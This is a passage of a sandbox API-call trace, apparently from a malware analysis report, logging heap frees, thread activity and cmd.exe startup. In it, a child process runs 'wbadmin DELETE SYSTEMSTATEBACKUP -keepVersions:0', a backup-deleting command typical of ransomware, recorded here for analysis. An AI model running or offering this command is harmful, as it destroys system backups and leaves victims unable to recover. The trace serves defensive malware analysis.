dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0034.164] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d3840 | out: hHeap=0x4a0000) returned 1 [0034.164] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d3568 | out: hHeap=0x4a0000) returned 1 [0034.164] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b91d0 | out: hHeap=0x4a0000) returned 1 [0034.164] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e2e60 | out: hHeap=0x4a0000) returned 1 [0034.164] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9130 | out: hHeap=0x4a0000) returned 1 [0034.164] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.165] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9220 | out: hHeap=0x4a0000) returned 1 [0034.165] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.165] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9270 | out: hHeap=0x4a0000) returned 1 [0034.165] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.165] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9310 | out: hHeap=0x4a0000) returned 1 [0034.165] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.165] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9360 | out: hHeap=0x4a0000) returned 1 [0034.165] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.165] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.165] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.165] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.165] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d3a38 | out: hHeap=0x4a0000) returned 1 [0034.165] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d39a0 | out: hHeap=0x4a0000) returned 1 [0034.165] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d3938 | out: hHeap=0x4a0000) returned 1 [0034.165] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d35d0 | out: hHeap=0x4a0000) returned 1 [0034.165] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b92c0 | out: hHeap=0x4a0000) returned 1 [0034.165] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dd830 | out: hHeap=0x4a0000) returned 1 [0034.165] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dd7d8 | out: hHeap=0x4a0000) returned 1 [0034.165] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dcfd0 | out: hHeap=0x4a0000) returned 1 [0034.165] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dc7c8 | out: hHeap=0x4a0000) returned 1 [0034.165] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dc738 | out: hHeap=0x4a0000) returned 1 [0034.165] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4cb870 | out: hHeap=0x4a0000) returned 1 [0034.165] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.165] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c33c8 | out: hHeap=0x4a0000) returned 1 [0034.165] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.165] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4caac0 | out: hHeap=0x4a0000) returned 1 [0034.165] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b90e0 | out: hHeap=0x4a0000) returned 1 [0034.165] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4eeb88 | out: hHeap=0x4a0000) returned 1 [0034.165] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4eebd0 | out: hHeap=0x4a0000) returned 1 [0034.165] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x509948 | out: hHeap=0x4a0000) returned 1 [0034.166] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e9da0 | out: hHeap=0x4a0000) returned 1 [0034.166] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.166] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4cf390 | out: hHeap=0x4a0000) returned 1 [0034.166] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.166] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4cf3a8 | out: hHeap=0x4a0000) returned 1 [0034.166] GetCurrentThreadId () returned 0x664 [0034.166] DestroyWindow (hWnd=0x3026a) returned 1 [0034.166] NtdllDefWindowProc_W () returned 0x0 [0034.167] NtdllDefWindowProc_W () returned 0x0 [0034.167] NtdllDefWindowProc_W () returned 0x0 [0034.167] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.167] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4cea78 | out: hHeap=0x4a0000) returned 1 [0034.167] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bd718 | out: hHeap=0x4a0000) returned 1 [0034.167] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.167] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.167] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.167] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4cf480 | out: hHeap=0x4a0000) returned 1 [0034.167] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.167] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4cde18 | out: hHeap=0x4a0000) returned 1 [0034.168] SetEvent (hEvent=0x154) returned 1 [0034.168] GetCurrentThreadId () returned 0x664 [0034.168] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x1388) returned 0x0 [0034.169] GetExitCodeThread (in: hThread=0x134, lpExitCode=0x3cfbec | out: lpExitCode=0x3cfbec) returned 1 [0034.169] CActiveIMMAppEx_Trident:IUnknown:Release (This=0x4d4ed8) returned 0x0 [0034.169] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.169] ReleaseActCtx (in: hActCtx=0x4ce17c | out: hActCtx=0x4ce17c) [0034.169] FreeLibrary (hLibModule=0x72760000) returned 1 [0034.169] FreeLibrary (hLibModule=0x72760000) returned 1 [0034.169] UnregisterClassW (lpClassName=0xc096, hInstance=0x73350000) returned 1 [0034.169] UnregisterClassW (lpClassName=0xc055, hInstance=0x73350000) returned 1 [0034.169] OleUninitialize () [0034.170] DestroyWindow (hWnd=0x50018) returned 1 [0034.170] NtdllDefWindowProc_W () returned 0x0 [0034.170] PostQuitMessage (nExitCode=0) [0034.171] DllCanUnloadNow () returned 0x0 [0034.171] DllCanUnloadNow () returned 0x1 [0034.171] DllCanUnloadNow () returned 0x1 [0034.171] free (_Block=0x6fdcc0) [0034.731] GetProcAddress (hModule=0x754b0000, lpProcName="UnregisterTraceGuids") returned 0x77379286 [0034.731] EtwUnregisterTraceGuids () returned 0x0 [0034.731] GetProcAddress (hModule=0x754b0000, lpProcName="UnregisterTraceGuids") returned 0x77379286 [0034.731] EtwUnregisterTraceGuids () returned 0x0 [0034.731] ??3@YAXPAX@Z () returned 0x1 [0034.731] free (_Block=0x6fdbb0) [0034.734] NtdllDefWindowProc_W () returned 0x0 [0034.734] FreeLibrary (hLibModule=0x73350000) returned 1 [0034.734] GetCurrentThreadId () returned 0x664 [0034.734] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c33e8 | out: hHeap=0x4a0000) returned 1 [0034.734] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bf3a0 | out: hHeap=0x4a0000) returned 1 [0034.735] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bd120 | out: hHeap=0x4a0000) returned 1 [0034.735] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d4bb8 | out: hHeap=0x4a0000) returned 1 [0034.735] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dbb50 | out: hHeap=0x4a0000) returned 1 [0034.736] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.736] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.736] DeleteObject (ho=0x10080a18) returned 1 [0034.736] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bd150 | out: hHeap=0x4a0000) returned 1 [0034.736] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bd0c0 | out: hHeap=0x4a0000) returned 1 [0034.736] EtwUnregisterTraceGuids () returned 0x0 [0034.736] EtwUnregisterTraceGuids () returned 0x0 [0034.736] EtwEventUnregister () returned 0x0 [0034.736] EtwEventUnregister () returned 0x0 [0034.737] CloseHandle (hObject=0xbc) returned 1 [0034.737] UnmapViewOfFile (lpBaseAddress=0x150000) returned 1 [0034.737] CloseHandle (hObject=0xc0) returned 1 [0034.737] LocalFree (hMem=0x4be948) returned 0x0 [0034.737] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.737] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.737] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.737] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.737] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.737] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.737] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.737] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.737] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.738] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c52a8 | out: hHeap=0x4a0000) returned 1 [0034.738] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.738] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.738] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.738] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.738] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.738] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4be740 | out: hHeap=0x4a0000) returned 1 [0034.738] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b3cf0 | out: hHeap=0x4a0000) returned 1 [0034.738] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4be988 | out: hHeap=0x4a0000) returned 1 [0034.738] FreeLibrary (hLibModule=0x74210000) returned 1 [0034.738] free (_Block=0x6f2640) [0034.747] GetModuleHandleA (lpModuleName="mscoree.dll") returned 0x0 [0034.747] ExitProcess (uExitCode=0x0) Thread: id = 17 os_tid = 0x68c Thread: id = 18 os_tid = 0x180 [0030.675] GetCurrentThreadId () returned 0x180 [0030.675] LoadLibraryW (lpLibFileName="mshtml.dll") returned 0x73350000 [0030.675] CoInitialize (pvReserved=0x0) returned 0x0 [0030.675] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x927c0) returned 0x0 [0034.166] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x927c0) returned 0x0 [0034.168] CoUninitialize () [0034.168] FreeLibraryAndExitThread (hLibModule=0x73350000, dwExitCode=0x0) [0034.168] GetCurrentThreadId () returned 0x180 Thread: id = 20 os_tid = 0x750 [0031.077] GetCurrentThreadId () returned 0x750 Thread: id = 24 os_tid = 0x424 [0033.091] GetCurrentThreadId () returned 0x424 Thread: id = 25 os_tid = 0x804 [0033.090] GetCurrentThreadId () returned 0x804 Thread: id = 26 os_tid = 0x818 [0033.503] GetCurrentThreadId () returned 0x818 [0033.738] GetCurrentThreadId () returned 0x818 Thread: id = 27 os_tid = 0x838 [0033.743] GetCurrentThreadId () returned 0x838 Thread: id = 29 os_tid = 0x868 [0033.770] GetCurrentThreadId () returned 0x868 [0033.793] GetCurrentThreadId () returned 0x868 Thread: id = 31 os_tid = 0x8bc [0033.839] GetCurrentThreadId () returned 0x8bc [0033.880] GetCurrentThreadId () returned 0x8bc Thread: id = 33 os_tid = 0x92c [0033.913] GetCurrentThreadId () returned 0x92c [0033.936] GetCurrentThreadId () returned 0x92c Thread: id = 35 os_tid = 0x97c [0033.984] GetCurrentThreadId () returned 0x97c [0034.128] GetCurrentThreadId () returned 0x97c Process: id = "8" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x32a6b000" os_pid = "0x848" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x35c" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 28 os_tid = 0x858 [0034.102] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2cf80c | out: lpSystemTimeAsFileTime=0x2cf80c*(dwLowDateTime=0x38d4dfc0, dwHighDateTime=0x1d5ddc0)) [0034.102] GetCurrentProcessId () returned 0x848 [0034.102] GetCurrentThreadId () returned 0x858 [0034.102] GetTickCount () returned 0x1152c5e [0034.102] QueryPerformanceCounter (in: lpPerformanceCount=0x2cf804 | out: lpPerformanceCount=0x2cf804*=17586864061) returned 1 [0034.103] GetModuleHandleA (lpModuleName=0x0) returned 0x4a230000 [0034.103] __set_app_type (_Type=0x1) [0034.104] __p__fmode () returned 0x76be31f4 [0034.104] __p__commode () returned 0x76be31fc [0034.104] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a2521a6) returned 0x0 [0034.104] __getmainargs (in: _Argc=0x4a254238, _Argv=0x4a254240, _Env=0x4a25423c, _DoWildCard=0, _StartInfo=0x4a254140 | out: _Argc=0x4a254238, _Argv=0x4a254240, _Env=0x4a25423c) returned 0 [0034.104] GetCurrentThreadId () returned 0x858 [0034.104] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x858) returned 0x60 [0034.105] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0034.105] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0034.105] SetThreadUILanguage (LangId=0x0) returned 0x409 [0034.106] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0034.106] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2cf79c | out: phkResult=0x2cf79c*=0x0) returned 0x2 [0034.106] VirtualQuery (in: lpAddress=0x2cf7d3, lpBuffer=0x2cf76c, dwLength=0x1c | out: lpBuffer=0x2cf76c*(BaseAddress=0x2cf000, AllocationBase=0x1d0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0034.106] VirtualQuery (in: lpAddress=0x1d0000, lpBuffer=0x2cf76c, dwLength=0x1c | out: lpBuffer=0x2cf76c*(BaseAddress=0x1d0000, AllocationBase=0x1d0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0034.106] VirtualQuery (in: lpAddress=0x1d1000, lpBuffer=0x2cf76c, dwLength=0x1c | out: lpBuffer=0x2cf76c*(BaseAddress=0x1d1000, AllocationBase=0x1d0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0034.106] VirtualQuery (in: lpAddress=0x1d3000, lpBuffer=0x2cf76c, dwLength=0x1c | out: lpBuffer=0x2cf76c*(BaseAddress=0x1d3000, AllocationBase=0x1d0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0034.106] VirtualQuery (in: lpAddress=0x2d0000, lpBuffer=0x2cf76c, dwLength=0x1c | out: lpBuffer=0x2cf76c*(BaseAddress=0x2d0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x80000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0034.106] GetConsoleOutputCP () returned 0x1b5 [0034.107] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a254260 | out: lpCPInfo=0x4a254260) returned 1 [0034.107] SetConsoleCtrlHandler (HandlerRoutine=0x4a24e72a, Add=1) returned 1 [0034.107] _get_osfhandle (_FileHandle=1) returned 0x7 [0034.107] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0034.107] _get_osfhandle (_FileHandle=1) returned 0x7 [0034.107] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a2541ac | out: lpMode=0x4a2541ac) returned 1 [0034.108] _get_osfhandle (_FileHandle=1) returned 0x7 [0034.108] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0034.108] _get_osfhandle (_FileHandle=0) returned 0x3 [0034.108] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a2541b0 | out: lpMode=0x4a2541b0) returned 1 [0034.109] _get_osfhandle (_FileHandle=0) returned 0x3 [0034.109] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0034.116] GetEnvironmentStringsW () returned 0x462080* [0034.116] GetProcessHeap () returned 0x450000 [0034.116] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xaca) returned 0x462b58 [0034.116] FreeEnvironmentStringsW (penv=0x462080) returned 1 [0034.116] GetProcessHeap () returned 0x450000 [0034.116] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4) returned 0x460cb8 [0034.116] GetEnvironmentStringsW () returned 0x462080* [0034.116] GetProcessHeap () returned 0x450000 [0034.116] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xaca) returned 0x463630 [0034.116] FreeEnvironmentStringsW (penv=0x462080) returned 1 [0034.116] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2ce70c | out: phkResult=0x2ce70c*=0x68) returned 0x0 [0034.116] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2ce714, lpData=0x2ce718, lpcbData=0x2ce710*=0x1000 | out: lpType=0x2ce714*=0x0, lpData=0x2ce718*=0x0, lpcbData=0x2ce710*=0x1000) returned 0x2 [0034.116] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2ce714, lpData=0x2ce718, lpcbData=0x2ce710*=0x1000 | out: lpType=0x2ce714*=0x4, lpData=0x2ce718*=0x1, lpcbData=0x2ce710*=0x4) returned 0x0 [0034.117] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2ce714, lpData=0x2ce718, lpcbData=0x2ce710*=0x1000 | out: lpType=0x2ce714*=0x0, lpData=0x2ce718*=0x1, lpcbData=0x2ce710*=0x1000) returned 0x2 [0034.117] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2ce714, lpData=0x2ce718, lpcbData=0x2ce710*=0x1000 | out: lpType=0x2ce714*=0x4, lpData=0x2ce718*=0x0, lpcbData=0x2ce710*=0x4) returned 0x0 [0034.117] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2ce714, lpData=0x2ce718, lpcbData=0x2ce710*=0x1000 | out: lpType=0x2ce714*=0x4, lpData=0x2ce718*=0x40, lpcbData=0x2ce710*=0x4) returned 0x0 [0034.117] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2ce714, lpData=0x2ce718, lpcbData=0x2ce710*=0x1000 | out: lpType=0x2ce714*=0x4, lpData=0x2ce718*=0x40, lpcbData=0x2ce710*=0x4) returned 0x0 [0034.117] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2ce714, lpData=0x2ce718, lpcbData=0x2ce710*=0x1000 | out: lpType=0x2ce714*=0x0, lpData=0x2ce718*=0x40, lpcbData=0x2ce710*=0x1000) returned 0x2 [0034.117] RegCloseKey (hKey=0x68) returned 0x0 [0034.117] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2ce70c | out: phkResult=0x2ce70c*=0x68) returned 0x0 [0034.117] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2ce714, lpData=0x2ce718, lpcbData=0x2ce710*=0x1000 | out: lpType=0x2ce714*=0x0, lpData=0x2ce718*=0x40, lpcbData=0x2ce710*=0x1000) returned 0x2 [0034.117] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2ce714, lpData=0x2ce718, lpcbData=0x2ce710*=0x1000 | out: lpType=0x2ce714*=0x4, lpData=0x2ce718*=0x1, lpcbData=0x2ce710*=0x4) returned 0x0 [0034.117] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2ce714, lpData=0x2ce718, lpcbData=0x2ce710*=0x1000 | out: lpType=0x2ce714*=0x0, lpData=0x2ce718*=0x1, lpcbData=0x2ce710*=0x1000) returned 0x2 [0034.117] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2ce714, lpData=0x2ce718, lpcbData=0x2ce710*=0x1000 | out: lpType=0x2ce714*=0x4, lpData=0x2ce718*=0x0, lpcbData=0x2ce710*=0x4) returned 0x0 [0034.117] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2ce714, lpData=0x2ce718, lpcbData=0x2ce710*=0x1000 | out: lpType=0x2ce714*=0x4, lpData=0x2ce718*=0x9, lpcbData=0x2ce710*=0x4) returned 0x0 [0034.117] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2ce714, lpData=0x2ce718, lpcbData=0x2ce710*=0x1000 | out: lpType=0x2ce714*=0x4, lpData=0x2ce718*=0x9, lpcbData=0x2ce710*=0x4) returned 0x0 [0034.117] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2ce714, lpData=0x2ce718, lpcbData=0x2ce710*=0x1000 | out: lpType=0x2ce714*=0x0, lpData=0x2ce718*=0x9, lpcbData=0x2ce710*=0x1000) returned 0x2 [0034.117] RegCloseKey (hKey=0x68) returned 0x0 [0034.117] time (in: timer=0x0 | out: timer=0x0) returned 0x5e3d6f9d [0034.117] srand (_Seed=0x5e3d6f9d) [0034.117] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" [0034.117] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" [0034.118] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a255260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0034.118] GetProcessHeap () returned 0x450000 [0034.118] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x210) returned 0x462080 [0034.118] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x462088, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0034.118] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0034.118] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0034.118] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0034.118] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0034.118] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0034.118] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0034.118] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0034.118] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0034.118] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0034.118] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0034.118] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0034.118] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0034.118] GetProcessHeap () returned 0x450000 [0034.118] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x462b58 | out: hHeap=0x450000) returned 1 [0034.118] GetEnvironmentStringsW () returned 0x462298* [0034.118] GetProcessHeap () returned 0x450000 [0034.118] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xae2) returned 0x464bf8 [0034.119] FreeEnvironmentStringsW (penv=0x462298) returned 1 [0034.119] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0034.119] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0034.119] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0034.119] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0034.119] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0034.119] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0034.119] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0034.119] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0034.119] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0034.119] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0034.119] GetProcessHeap () returned 0x450000 [0034.119] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x54) returned 0x4656e8 [0034.119] 